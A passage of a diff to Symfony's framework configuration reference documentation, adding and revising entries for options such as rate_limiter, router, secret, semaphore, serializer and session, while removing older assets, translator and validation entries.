7.3 -By default, this will render a path to your image such as ``/images/logo.png``. -Now, activate the ``version`` option: + The ``with_constructor_extractor`` option was introduced in Symfony 7.3. + +rate_limiter +~~~~~~~~~~~~ + +.. _reference-rate-limiter-name: + +name +.... + +**type**: ``prototype`` + +Name of the rate limiter you want to create. + +lock_factory +"""""""""""" + +**type**: ``string`` **default:** ``lock.factory`` + +The service that is used to create a lock. The service has to be an instance of +the :class:`Symfony\\Component\\Lock\\LockFactory` class. + +policy +"""""" + +**type**: ``string`` **required** + +The name of the rate limiting algorithm to use. Example names are ``fixed_window``, +``sliding_window`` and ``no_limit``. See :ref:`Rate Limiter Policies <rate-limiter-policies>`) +for more information. + +request +~~~~~~~ + +formats +....... + +**type**: ``array`` **default**: ``[]`` + +This setting is used to associate additional request formats (e.g. ``html``) +to one or more mime types (e.g. ``text/html``), which will allow you to use the +format & mime types to call +:method:`Request::getFormat($mimeType) <Symfony\\Component\\HttpFoundation\\Request::getFormat>` or +:method:`Request::getMimeType($format) <Symfony\\Component\\HttpFoundation\\Request::getMimeType>`. + +In practice, this is important because Symfony uses it to automatically set the +``Content-Type`` header on the ``Response`` (if you don't explicitly set one). +If you pass an array of mime types, the first will be used for the header. + +To configure a ``jsonp`` format: .. configuration-block:: @@ -1871,610 +2594,686 @@ Now, activate the ``version`` option: # config/packages/framework.yaml framework: - # ... - assets: - version: 'v2' + request: + formats: + jsonp: 'application/javascript' .. code-block:: xml - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:request> + <framework:format name="jsonp"> + <framework:mime-type>application/javascript</framework:mime-type> + </framework:format> + </framework:request> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->request() + ->format('jsonp', 'application/javascript'); + }; + +router +~~~~~~ + +cache_dir +......... + +**type**: ``string`` **default**: ``%kernel.cache_dir%`` + +The directory where routing information will be cached. Can be set to +``~`` (``null``) to disable route caching. + +.. deprecated:: 7.1 + + Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes + are now always cached in the ``%kernel.build_dir%`` directory. + +default_uri +........... + +**type**: ``string`` + +The default URI used to generate URLs in a non-HTTP context (see +:ref:`Generating URLs in Commands <router-generate-urls-commands>`). + +http_port +......... + +**type**: ``integer`` **default**: ``80`` + +The port for normal http requests (this is used when matching the scheme). + +https_port +.......... + +**type**: ``integer`` **default**: ``443`` + +The port for https requests (this is used when matching the scheme). + +resource +........ + +**type**: ``string`` **required** + +The path the main routing resource (e.g. a YAML file) that contains the +routes and imports the router should load. + +strict_requirements +................... + +**type**: ``mixed`` **default**: ``true`` + +Determines the routing generator behavior. When generating a route that +has specific :ref:`parameter requirements <routing-requirements>`, the generator +can behave differently in case the used parameters do not meet these requirements. + +The value can be one of: + +``true`` + Throw an exception when the requirements are not met; +``false`` + Disable exceptions when the requirements are not met and return ``''`` + instead; +``null`` + Disable checking the requirements (thus, match the route even when the + requirements don't match). + +``true`` is recommended in the development environment, while ``false`` +or ``null`` might be preferred in production. + +.. _reference-router-type: + +type +.... + +**type**: ``string`` + +The type of the resource to hint the loaders about the format. This isn't +needed when you use the default routers with the expected file extensions +(``.xml``, ``.yaml``, ``.php``). + +utf8 +.... + +**type**: ``boolean`` **default**: ``true`` + +When this option is set to ``true``, the regular expressions used in the +:ref:`requirements of route parameters <routing-requirements>` will be run +using the `utf-8 modifier`_. This will for example match any UTF-8 character +when using ``.``, instead of matching only a single byte. + +If the charset of your application is UTF-8 (as defined in the +:ref:`getCharset() method <configuration-kernel-charset>` of your kernel) it's +recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404 +errors. + +.. _configuration-framework-secret: + +secret +~~~~~~ + +**type**: ``string`` **required** + +This is a string that should be unique to your application and it's commonly +used to add more entropy to security related operations. Its value should +be a series of characters, numbers and symbols chosen randomly and the +recommended length is around 32 characters. + +In practice, Symfony uses this value for encrypting the cookies used +in the :doc:`remember me functionality </security/remember_me>` and for +creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`. +That's why you should treat this value as if it were a sensitive credential and +**never make it public**. + +This option becomes the service container parameter named ``kernel.secret``, +which you can use whenever the application needs an immutable random string +to add more entropy. + +As with any other security-related parameter, it is a good practice to change +this value from time to time. However, keep in mind that changing this value +will invalidate all signed URIs and Remember Me cookies. That's why, after +changing this value, you should regenerate the application cache and log +out all the application users. + +secrets +~~~~~~~ - <framework:config> - <framework:assets version="v2"/> - </framework:config> - </container> +decryption_env_var +.................. - .. code-block:: php +**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET`` - // config/packages/framework.php - $container->loadFromExtension('framework', [ - // ... - 'assets' => [ - 'version' => 'v2', - ], - ]); +The env var name that contains the vault decryption secret. By default, this +value will be decoded from base64. -Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use -this feature, you **must** manually increment the ``version`` value -before each deployment so that the query parameters change. +enabled +....... -You can also control how the query string works via the `version_format`_ -option. +**type**: ``boolean`` **default**: ``true`` -.. note:: +Whether to enable or not secrets managements. - This parameter cannot be set at the same time as ``version_strategy`` or ``json_manifest_path``. +local_dotenv_file +................. -.. tip:: +**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local`` - As with all settings, you can use a parameter as value for the - ``version``. This makes it easier to increment the cache on each - deployment. +The path to the local ``.env`` file. This file must contain the vault +decryption key, given by the ``decryption_env_var`` option. -.. _reference-templating-version-format: -.. _reference-assets-version-format: +vault_directory +............... -version_format -.............. +**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.runtime_environment%`` -**type**: ``string`` **default**: ``%%s?%%s`` +The directory to store the secret vault. By default, the path includes the value +of the :ref:`kernel.runtime_environment <configuration-kernel-runtime-environment>` +parameter. -This specifies a :phpfunction:`sprintf` pattern that will be used with the -`version`_ option to construct an asset's path. By default, the pattern -adds the asset's version as a query string. For example, if -``version_format`` is set to ``%%s?version=%%s`` and ``version`` -is set to ``5``, the asset's path would be ``/images/logo.png?version=5``. +semaphore +~~~~~~~~~ -.. note:: +**type**: ``string`` | ``array`` - All percentage signs (``%``) in the format string must be doubled to - escape the character. Without escaping, values might inadvertently be - interpreted as :ref:`service-container-parameters`. +The default semaphore adapter. Store's DSN are also allowed. -.. tip:: +.. _reference-semaphore-enabled: - Some CDN's do not support cache-busting via query strings, so injecting - the version into the actual file path is necessary. Thankfully, - ``version_format`` is not limited to producing versioned query - strings. +enabled +....... - The pattern receives the asset's original path and version as its first - and second parameters, respectively. Since the asset's path is one - parameter, you cannot modify it in-place (e.g. ``/images/logo-v5.png``); - however, you can prefix the asset's path using a pattern of - ``version-%%2$s/%%1$s``, which would result in the path - ``version-5/images/logo.png``. +**type**: ``boolean`` **default**: ``true`` - URL rewrite rules could then be used to disregard the version prefix - before serving the asset. Alternatively, you could copy assets to the - appropriate version path as part of your deployment process and forgot - any URL rewriting. The latter option is useful if you would like older - asset versions to remain accessible at their original URL. +Whether to enable the support for semaphore or not. This setting is +automatically set to ``true`` when one of the child settings is configured. -.. _reference-assets-version-strategy: -.. _reference-templating-version-strategy: +.. _reference-semaphore-resources: -version_strategy -................ +resources +......... -**type**: ``string`` **default**: ``null`` +**type**: ``array`` -The service id of the :doc:`asset version strategy </frontend/custom_version_strategy>` -applied to the assets. This option can be set globally for all assets and -individually for each asset package: +A map of semaphore stores to be created by the framework extension, with +the name as key and DSN or service id as value: .. configuration-block:: .. code-block:: yaml - # config/packages/framework.yaml + # config/packages/semaphore.yaml framework: - assets: - # this strategy is applied to every asset (including packages) - version_strategy: 'app.asset.my_versioning_strategy' - packages: - foo_package: - # this package removes any versioning (its assets won't be versioned) - version: ~ - bar_package: - # this package uses its own strategy (the default strategy is ignored) - version_strategy: 'app.asset.another_version_strategy' - baz_package: - # this package inherits the default strategy - base_path: '/images' + semaphore: '%env(SEMAPHORE_DSN)%' .. code-block:: xml - <!-- config/packages/framework.xml --> + <!-- config/packages/semaphore.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:assets version-strategy="app.asset.my_versioning_strategy"> - <!-- this package removes any versioning (its assets won't be versioned) --> - <framework:package - name="foo_package" - version="null"/> - <!-- this package uses its own strategy (the default strategy is ignored) --> - <framework:package - name="bar_package" - version-strategy="app.asset.another_version_strategy"/> - <!-- this package inherits the default strategy --> - <framework:package - name="baz_package" - base_path="/images"/> - </framework:assets> + <framework:semaphore> + <framework:resource name="default">%env(SEMAPHORE_DSN)%</framework:resource> + </framework:semaphore> </framework:config> </container> .. code-block:: php - // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'assets' => [ - 'version_strategy' => 'app.asset.my_versioning_strategy', - 'packages' => [ - 'foo_package' => [ - // this package removes any versioning (its assets won't be versioned) - 'version' => null, - ], - 'bar_package' => [ - // this package uses its own strategy (the default strategy is ignored) - 'version_strategy' => 'app.asset.another_version_strategy', - ], - 'baz_package' => [ - // this package inherits the default strategy - 'base_path' => '/images', - ], - ], - ], - ]); + // config/packages/semaphore.php + use Symfony\Config\FrameworkConfig; + use function Symfony\Component\DependencyInjection\Loader\Configurator\env; -.. note:: + return static function (FrameworkConfig $framework): void { + $framework->semaphore() + ->resource('default', [env('SEMAPHORE_DSN')]); + }; - This parameter cannot be set at the same time as ``version`` or ``json_manifest_path``. +.. _reference-semaphore-resources-name: -.. _reference-assets-json-manifest-path: -.. _reference-templating-json-manifest-path: +name +"""" -json_manifest_path -.................. +**type**: ``prototype`` -**type**: ``string`` **default**: ``null`` +Name of the semaphore you want to create. -The file path or absolute URL to a ``manifest.json`` file containing an -associative array of asset names and their respective compiled names. A common -cache-busting technique using a "manifest" file works by writing out assets with -a "hash" appended to their file names (e.g. ``main.ae433f1cb.css``) during a -front-end compilation routine. +.. _configuration-framework-serializer: -.. tip:: +serializer +~~~~~~~~~~ - Symfony's :ref:`Webpack Encore <frontend-webpack-encore>` supports - :ref:`outputting hashed assets <encore-long-term-caching>`. Moreover, this - can be incorporated into many other workflows, including Webpack and - Gulp using `webpack-manifest-plugin`_ and `gulp-rev`_, respectively. +.. _reference-serializer-circular_reference_handler: -This option can be set globally for all assets and individually for each asset -package: +circular_reference_handler +.......................... -.. configuration-block:: +**type** ``string`` - .. code-block:: yaml +The service id that is used as the circular reference handler of the default +serializer. The service has to implement the magic ``__invoke($object)`` +method. - # config/packages/framework.yaml - framework: - assets: - # this manifest is applied to every asset (including packages) - json_manifest_path: "%kernel.project_dir%/public/build/manifest.json" - # you can use absolute URLs too and Symfony will download them automatically - # json_manifest_path: 'https://cdn.example.com/manifest.json' - packages: - foo_package: - # this package uses its own manifest (the default file is ignored) - json_manifest_path: "%kernel.project_dir%/public/build/a_different_manifest.json" - bar_package: - # this package uses the global manifest (the default file is used) - base_path: '/images' +.. seealso:: - .. code-block:: xml + For more information, see + :ref:`component-serializer-handling-circular-references`. - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> +default_context +............... - <framework:config> - <!-- this manifest is applied to every asset (including packages) --> - <framework:assets json-manifest-path="%kernel.project_dir%/public/build/manifest.json"> - <!-- you can use absolute URLs too and Symfony will download them automatically --> - <!-- <framework:assets json-manifest-path="https://cdn.example.com/manifest.json"> --> - <!-- this package uses its own manifest (the default file is ignored) --> - <framework:package - name="foo_package" - json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json"/> - <!-- this package uses the global manifest (the default file is used) --> - <framework:package - name="bar_package" - base-path="/images"/> - </framework:assets> - </framework:config> - </container> +**type**: ``array`` **default**: ``[]`` - .. code-block:: php +A map with default context options that will be used with each ``serialize`` and ``deserialize`` +call. This can be used for example to set the json encoding behavior by setting ``json_encode_options`` +to a `json_encode flags bitmask`_. - // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'assets' => [ - // this manifest is applied to every asset (including packages) - 'json_manifest_path' => '%kernel.project_dir%/public/build/manifest.json', - // you can use absolute URLs too and Symfony will download them automatically - // 'json_manifest_path' => 'https://cdn.example.com/manifest.json', - 'packages' => [ - 'foo_package' => [ - // this package uses its own manifest (the default file is ignored) - 'json_manifest_path' => '%kernel.project_dir%/public/build/a_different_manifest.json', - ], - 'bar_package' => [ - // this package uses the global manifest (the default file is used) - 'base_path' => '/images', - ], - ], - ], - ]); +You can inspect the :ref:`serializer context builders <serializer-using-context-builders>` +to discover the available settings. -.. versionadded:: 5.1 +.. _reference-serializer-enable_annotations: - The option to use an absolute URL in ``json_manifest_path`` was introduced - in Symfony 5.1. +enable_attributes +................. -.. note:: +**type**: ``boolean`` **default**: ``true`` - This parameter cannot be set at the same time as ``version`` or ``version_strategy``. - Additionally, this option cannot be nullified at the package scope if a global manifest - file is specified. +Enables support for `PHP attributes`_ in the serializer component. -.. tip:: +.. seealso:: - If you request an asset that is *not found* in the ``manifest.json`` file, the original - - *unmodified* - asset path will be returned. + See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations. -.. note:: +.. _reference-serializer-enabled: + +enabled +....... - If an URL is set, the JSON manifest is downloaded on each request using the `http_client`_. +**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation -translator -~~~~~~~~~~ +Whether to enable the ``serializer`` service or not in the service container. -cache_dir -......... +.. _reference-serializer-mapping: -**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations/`` +mapping +....... -Defines the directory where the translation cache is stored. Use ``null`` to -disable this cache. +.. _reference-serializer-mapping-paths: -.. _reference-translator-enabled: +paths +""""" -enabled -....... +**type**: ``array`` **default**: ``[]`` + +This option allows to define an array of paths with files or directories where +the component will look for additional serialization files. + +.. _reference-serializer-name_converter: + +name_converter +.............. + +**type**: ``string`` + +The name converter to use. +The :class:`Symfony\\Component\\Serializer\\NameConverter\\CamelCaseToSnakeCaseNameConverter` +name converter can enabled by using the ``serializer.name_converter.camel_case_to_snake_case`` +value. -**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation +.. seealso:: -Whether or not to enable the ``translator`` service in the service container. + For more information, see :ref:`serializer-name-conversion`. -.. _reference-translator-enabled-locales: +.. _config-framework-session: -enabled_locales -............... +session +~~~~~~~ -**type**: ``array`` **default**: ``[]`` (empty array = enable all locales) +cache_limiter +............. -.. versionadded:: 5.1 +**type**: ``string`` **default**: ``0`` - The ``enabled_locales`` option was introduced in Symfony 5.1. +If set to ``0``, Symfony won't set any particular header related to the cache +and it will rely on ``php.ini``'s `session.cache_limiter`_ directive. -Symfony applications generate by default the translation files for validation -and security messages in all locales. If your application only uses some -locales, use this option to restrict the files generated by Symfony and improve -performance a bit: +Unlike the other session options, ``cache_limiter`` is set as a regular +:ref:`container parameter <configuration-parameters>`: .. configuration-block:: .. code-block:: yaml - # config/packages/translation.yaml - framework: - translator: - enabled_locales: ['en', 'es'] + # config/services.yaml + parameters: + session.storage.options: + cache_limiter: 0 .. code-block:: xml - <!-- config/packages/translation.xml --> + <!-- config/services.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + https://symfony.com/schema/dic/services/services-1.0.xsd"> - <framework:config> - <framework:translator> - <enabled-locale>en</enabled-locale> - <enabled-locale>es</enabled-locale> - </framework:translator> - </framework:config> + <parameters> + <parameter key="session.storage.options" type="collection"> + <parameter key="cache_limiter">0</parameter> + </parameter> + </parameters> </container> .. code-block:: php - // config/packages/translation.php - $container->loadFromExtension('framework', [ - 'translator' => [ - 'enabled_locales' => ['en', 'es'], - ], + // config/services.php + $container->setParameter('session.storage.options', [ + 'cache_limiter' => 0, ]); -If some user makes requests with a locale not included in this option, the -application won't display any error because Symfony will display contents using -the fallback locale. - -.. _fallback: - -fallbacks -......... - -**type**: ``string|array`` **default**: value of `default_locale`_ - -This option is used when the translation key for the current locale wasn't -found. - -.. seealso:: +Be aware that if you configure it, you'll have to set other session-related options +as parameters as well. - For more details, see :doc:`/translation`. +cookie_domain +............. -.. _reference-framework-translator-logging: +**type**: ``string`` -logging -....... +This determines the domain to set in the session cookie. -**default**: ``true`` when the debug mode is enabled, ``false`` otherwise. +If not set, ``php.ini``'s `session.cookie_domain`_ directive will be relied on. -When ``true``, a log entry is made whenever the translator cannot find a translation -for a given key. The logs are made to the ``translation`` channel and at the -``debug`` for level for keys where there is a translation in the fallback -locale and the ``warning`` level if there is no translation to use at all. +cookie_httponly +............... -.. _reference-framework-translator-formatter: +**type**: ``boolean`` **default**: ``true`` -formatter -......... +This determines whether cookies should only be accessible through the HTTP +protocol. This means that the cookie won't be accessible by scripting +languages, such as JavaScript. This setting can effectively help to reduce +identity theft through :ref:`XSS attacks <xss-attacks>`. -**type**: ``string`` **default**: ``translator.formatter.default`` +cookie_lifetime +............... -The ID of the service used to format translation messages. The service class -must implement the :class:`Symfony\\Component\\Translation\\Formatter\\MessageFormatterInterface`. +**type**: ``integer`` -.. _reference-translator-paths: +This determines the lifetime of the session - in seconds. +Setting this value to ``0`` means the cookie is valid for +the length of the browser session. -paths -..... +If not set, ``php.ini``'s `session.cookie_lifetime`_ directive will be relied on. -**type**: ``array`` **default**: ``[]`` +cookie_path +........... -This option allows to define an array of paths where the component will look -for translation files. The later a path is added, the more priority it has -(translations from later paths overwrite earlier ones). Translations from the -`default_path <reference-translator-default_path>` have more priority than -translations from all these paths. +**type**: ``string`` -.. _reference-translator-default_path: +This determines the path to set in the session cookie. -default_path -............ +If not set, ``php.ini``'s `session.cookie_path`_ directive will be relied on. -**type**: ``string`` **default**: ``%kernel.project_dir%/translations`` +cookie_samesite +............... -This option allows to define the path where the application translations files -are stored. +**type**: ``string`` or ``null`` **default**: ``null`` -property_access -~~~~~~~~~~~~~~~ +It controls the way cookies are sent when the HTTP request did not originate +from the same domain that is associated with the cookies. Setting this option is +recommended to mitigate `CSRF security attacks`_. -magic_call -.......... +By default, browsers send all cookies related to the domain of the HTTP request. +This may be a problem for example when you visit a forum and some malicious +comment includes a link like ``https://some-bank.com/?send_money_to=attacker&amount=1000``. +If you were previously logged into your bank website, the browser will send all +those cookies when making that HTTP request. -**type**: ``boolean`` **default**: ``false`` +The possible values for this option are: -When enabled, the ``property_accessor`` service uses PHP's -:ref:`magic __call() method <components-property-access-magic-call>` when -its ``getValue()`` method is called. +* ``null``, use ``php.ini``'s `session.cookie_samesite`_ directive. +* ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow + sending of cookies when the HTTP request originated from a different domain + (previously this was the default behavior of null, but in newer browsers ``'lax'`` + would be applied when the header has not been set) +* ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never + send any cookie when the HTTP request did not originate from the same domain. +* ``'lax'`` (or the ``Cookie::SAMESITE_LAX`` constant), use it to allow sending + cookies when the request originated from a different domain, but only when the + user consciously made the request (by clicking a link or submitting a form + with the ``GET`` method). -magic_get -......... +cookie_secure +............. -**type**: ``boolean`` **default**: ``true`` +**type**: ``boolean`` or ``'auto'`` -When enabled, the ``property_accessor`` service uses PHP's -:ref:`magic __get() method <components-property-access-magic-get>` when -its ``getValue()`` method is called. +This determines whether cookies should only be sent over secure connections. In +addition to ``true`` and ``false``, there's a special ``'auto'`` value that +means ``true`` for HTTPS requests and ``false`` for HTTP requests. -.. versionadded:: 5.2 +If not set, ``php.ini``'s `session.cookie_secure`_ directive will be relied on. - The ``magic_get`` option was introduced in Symfony 5.2. +.. _reference-session-enabled: -magic_set -......... +enabled +....... **type**: ``boolean`` **default**: ``true`` -When enabled, the ``property_accessor`` service uses PHP's -:ref:`magic __set() method <components-property-access-writing-to-objects>` when -its ``setValue()`` method is called. - -.. versionadded:: 5.2 +Whether to enable the session support in the framework. - The ``magic_set`` option was introduced in Symfony 5.2. +.. configuration-block:: -throw_exception_on_invalid_index -................................ + .. code-block:: yaml -**type**: ``boolean`` **default**: ``false`` + # config/packages/framework.yaml + framework: + session: + enabled: true -When enabled, the ``property_accessor`` service throws an exception when you -try to access an invalid index of an array. + .. code-block:: xml -throw_exception_on_invalid_property_path -........................................ + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> -**type**: ``boolean`` **default**: ``true`` + <framework:config> + <framework:session enabled="true"/> + </framework:config> + </container> -When enabled, the ``property_accessor`` service throws an exception when you -try to access an invalid property path of an object. + .. code-block:: php -property_info -~~~~~~~~~~~~~ + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; -.. _reference-property-info-enabled: + return static function (FrameworkConfig $framework): void { + $framework->session() + ->enabled(true); + }; -enabled -....... +gc_divisor +.......... -**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation +**type**: ``integer`` -validation -~~~~~~~~~~ +See `gc_probability`_. -.. _reference-validation-enabled: +If not set, ``php.ini``'s `session.gc_divisor`_ directive will be relied on. -enabled -....... +gc_maxlifetime +.............. -**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation +**type**: ``integer`` -Whether or not to enable validation support. +This determines the number of seconds after which data will be seen as "garbage" +and potentially cleaned up. Garbage collection may occur during session +start and depends on `gc_divisor`_ and `gc_probability`_. -This option will automatically be set to ``true`` when one of the child -settings is configured. +If not set, ``php.ini``'s `session.gc_maxlifetime`_ directive will be relied on. -.. _reference-validation-cache: +gc_probability +.............. -cache -..... +**type**: ``integer`` -**type**: ``string`` +This defines the probability that the garbage collector (GC) process is +started on every session initialization. The probability is calculated by +using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1% +chance that the GC process will start on each request. -The service that is used to persist class metadata in a cache. The service -has to implement the :class:`Symfony\\Component\\Validator\\Mapping\\Cache\\CacheInterface`. +If not set, Symfony will use the value of the `session.gc_probability`_ directive +in the ``php.ini`` configuration file. -Set this option to ``validator.mapping.cache.doctrine.apc`` to use the APC -cache provide from the Doctrine project. +.. versionadded:: 7.2 -.. _reference-validation-enable_annotations: + Relying on ``php.ini``'s directive as default for ``gc_probability`` was + introduced in Symfony 7.2. -enable_annotations -.................. +.. _config-framework-session-handler-id: -**type**: ``boolean`` **default**: ``false`` +handler_id +.......... -If this option is enabled, validation constraints can be defined using annotations. +**type**: ``string`` | ``null`` **default**: ``null`` -translation_domain -.................. +If ``framework.session.save_path`` is not set, the default value of this option +is ``null``, which means to use the session handler configured in php.ini. If the +``framework.session.save_path`` option is set, then Symfony stores sessions using +the native file session handler. -**type**: ``string | false`` **default**: ``validators`` +It is possible to :ref:`store sessions in a database <session-database>`, +and also to configure the session handler with a DSN: -The translation domain that is used when translating validation constraint -error messages. Use false to disable translations. +.. configuration-block:: -.. _reference-validation-not-compromised-password: + .. code-block:: yaml -not_compromised_password -........................ + # config/packages/framework.yaml + framework: + session: + # a few possible examples + handler_id: 'redis://localhost' + handler_id: '%env(REDIS_URL)%' + handler_id: '%env(DATABASE_URL)%' + handler_id: 'file://%kernel.project_dir%/var/sessions' -The :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>` -constraint makes HTTP requests to a public API to check if the given password -has been compromised in a data breach. + .. code-block:: xml -.. _reference-validation-not-compromised-password-enabled: + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + <framework:config> + <!-- a few possible examples --> + <framework:session enabled="true" + handler-id="redis://localhost" + handler-id="%env(REDIS_URL)%" + handler-id="%env(DATABASE_URL)%" + handler-id="file://%kernel.project_dir%/var/sessions"/> + </framework:config> + </container> -enabled -""""""" + .. code-block:: php -**type**: ``boolean`` **default**: ``true`` + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + use function Symfony\Component\DependencyInjection\Loader\Configurator\env; -If you set this option to ``false``, no HTTP requests will be made and the given -password will be considered valid. This is useful when you don't want or can't -make HTTP requests, such as in ``dev`` and ``test`` environments or in -continuous integration servers. + return static function (FrameworkConfig $framework): void { + // ... -endpoint -"""""""" + $framework->session() + // a few possible examples + ->handlerId('redis://localhost') + ->handlerId(env('REDIS_URL')) + ->handlerId(env('DATABASE_URL')) + ->handlerId('file://%kernel.project_dir%/var/sessions'); + }; -**type**: ``string`` **default**: ``null`` +.. note:: -By default, the :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>` -constraint uses the public API provided by `haveibeenpwned.com`_. This option -allows to define a different, but compatible, API endpoint to make the password -checks. It's useful for example when the Symfony application is run in an -intranet without public access to Internet. + Supported DSN protocols are the following: + + * ``file`` + * ``redis`` + * ``rediss`` (Redis over TLS) + * ``memcached`` (requires :doc:`symfony/cache </components/cache>`) + * ``pdo_oci`` (requires :doc:`doctrine/dbal </doctrine/dbal>`) + * ``mssql`` + * ``mysql`` + * ``mysql2`` + * ``pgsql`` + * ``postgres`` + * ``postgresql`` + * ``sqlsrv`` + * ``sqlite`` + * ``sqlite3`` -static_method -............. +.. _reference-session-metadata-update-threshold: -**type**: ``string | array`` **default**: ``['loadValidatorMetadata']`` +metadata_update_threshold +......................... -Defines the name of the static method which is called to load the validation -metadata of the class. You can define an array of strings with the names of -several methods. In that case, all of them will be called in that order to load -the metadata. +**type**: ``integer`` **default**: ``0`` -email_validation_mode -..................... +This is how many seconds to wait between updating/writing the session metadata. +This can be useful if, for some reason, you want to limit the frequency at which +the session persists, instead of doing that on every request. -**type**: ``string`` **default**: ``loose`` +.. _name: -It controls the way email addresses are validated by the -:doc:`/reference/constraints/Email` validator. The possible values are: +name +.... -* ``loose``, it uses a simple regular expression to validate the address (it - checks that at least one ``@`` character is present, etc.). This validation is - too simple and it's recommended to use the ``html5`` validation instead; -* ``html5``, it validates email addresses using the same regular expression - defined in the HTML5 standard, making the backend validation consistent with - the one provided by browsers; -* ``strict``, it uses the `egulias/email-validator`_ library (which you must - install separately) to validate the addresses according to the `RFC 5322`_. +**type**: ``string`` -.. _reference-validation-mapping: +This specifies the name of the session cookie. -mapping -....... +If not set, ``php.ini``'s `session.name`_ directive will be relied on. -.. _reference-validation-mapping-paths: +save_path +......... -paths -""""" +**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/sessions`` -**type**: ``array`` **default**: ``['config/validation/']`` +This determines the argument to be passed to the save handler. If you choose +the default file handler, this is the path where the session files are created. -This option allows to define an array of paths with files or directories where -the component will look for additional validation files: +If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on: .. configuration-block:: @@ -2482,10 +3281,8 @@ the component will look for additional validation files: # config/packages/framework.yaml framework: - validation: - mapping: - paths: - - "%kernel.project_dir%/config/validation/" + session: + save_path: ~ .. code-block:: xml @@ -2499,259 +3296,255 @@ the component will look for additional validation files: http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:validation> - <framework:mapping> - <framework:path>%kernel.project_dir%/config/validation/</framework:path> - </framework:mapping> - </framework:validation> + <framework:session save-path="null"/> </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'validation' => [ - 'mapping' => [ - 'paths' => [ - '%kernel.project_dir%/config/validation/', - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; -annotations -~~~~~~~~~~~ - -.. _reference-annotations-cache: + return static 